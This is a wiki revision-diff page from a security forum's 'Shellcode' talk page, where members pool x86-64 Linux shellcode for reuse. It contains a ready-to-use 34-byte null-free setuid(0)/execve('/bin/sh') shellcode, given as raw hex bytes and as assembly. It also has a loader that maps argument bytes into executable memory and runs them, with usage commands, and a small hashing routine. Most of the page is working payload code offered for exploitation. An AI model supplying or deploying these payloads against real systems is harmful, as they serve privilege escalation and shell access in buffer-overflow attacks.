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Difference between revisions of "Category talk:Shellcode"
From NetSec
(→Small one-way hashing algorithm) |
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| Line 55: | Line 55: | ||
inject_loop: | inject_loop: | ||
| − | + | cmpb %dil, (%rbx, %rsi, 1) | |
je inject_finished | je inject_finished | ||
mov (%rbx, %rsi, 1), %r10 | mov (%rbx, %rsi, 1), %r10 | ||
| Line 63: | Line 63: | ||
inject_finished: | inject_finished: | ||
| + | inc %rsi | ||
| + | movb $0xc3, (%rax, %rsi, 1) | ||
call *%rax | call *%rax | ||
| Line 71: | Line 73: | ||
syscall | syscall | ||
</source>}} | </source>}} | ||
| − | |||
| − | |||
===== setuid(0); execve('/bin/sh'); - 34 bytes ===== | ===== setuid(0); execve('/bin/sh'); - 34 bytes ===== | ||
| Line 100: | Line 100: | ||
mov $0, %rdi | mov $0, %rdi | ||
syscall</source>}} | syscall</source>}} | ||
| + | |||
| + | ===== Small one-way hashing algorithm ===== | ||
| + | {{code|text=<source lang="asm"> | ||
| + | compute_hash: | ||
| + | xor %rcx, %rcx | ||
| + | xor %rdx, %rdx | ||
| + | |||
| + | compute_hash_again: | ||
| + | sub (%rax, %rdx, 1), %cl | ||
| + | rol $0xa, %rcx | ||
| + | inc %rax | ||
| + | cmp %dl, (%rax,%rdx,1) | ||
| + | jne compute_hash_again | ||
| + | ret | ||
| + | </source>}} | ||
Latest revision as of 14:51, 17 September 2012
Hey guys, thought we could use some collections of this stuff for re-use purposes. Lets only contribute things we wrote ourselves, no copy pasting others' codes please! Hatter 05:23, 19 August 2012 (MSK)
Contents
Collections
|
This page needs shellcodes, and will be updated with it shortly. Thanks for your patience. |
Windows
Linux
64-bit
Shellcode loader
You shouldn't need to use this algorithm as a buffer overflow payload, but it's null-free just in case. For 64-bit linux kernel 3 systems.
Usage:
as inject.s -o inject.o ; ld inject.o -o inject ./inject "$(echo -en "\x90\x90\x90")"
- The above example will execute 3 no ops.
.section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). begin_inject: xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished mov (%rbx, %rsi, 1), %r10 mov %r10, (%rax,%rsi,1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call *%rax exit: push $60 pop %rax xor %rdi, %rdi syscall |
setuid(0); execve('/bin/sh'); - 34 bytes
Hatter 05:27, 19 August 2012 (MSK)
- \x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05
.section .data .section .text .globl _start _start: mov $0, %rdi mov $105, %rax syscall # a function is f(%rdi,%rdx,%rsi) mov $59, %rax # execve(filename, argv, envp) push $0x00 mov %rsp, %rdx # argv is null mov %rsp, %rsi # envp is null mov $0x0068732f6e69622f, %rcx push %rcx mov %rsp, %rdi # filename is '/bin/sh\0' syscall mov $60, %rax mov $0, %rdi syscall |
Small one-way hashing algorithm
compute_hash: xor %rcx, %rcx xor %rdx, %rdx compute_hash_again: sub (%rax, %rdx, 1), %cl rol $0xa, %rcx inc %rax cmp %dl, (%rax,%rdx,1) jne compute_hash_again ret |
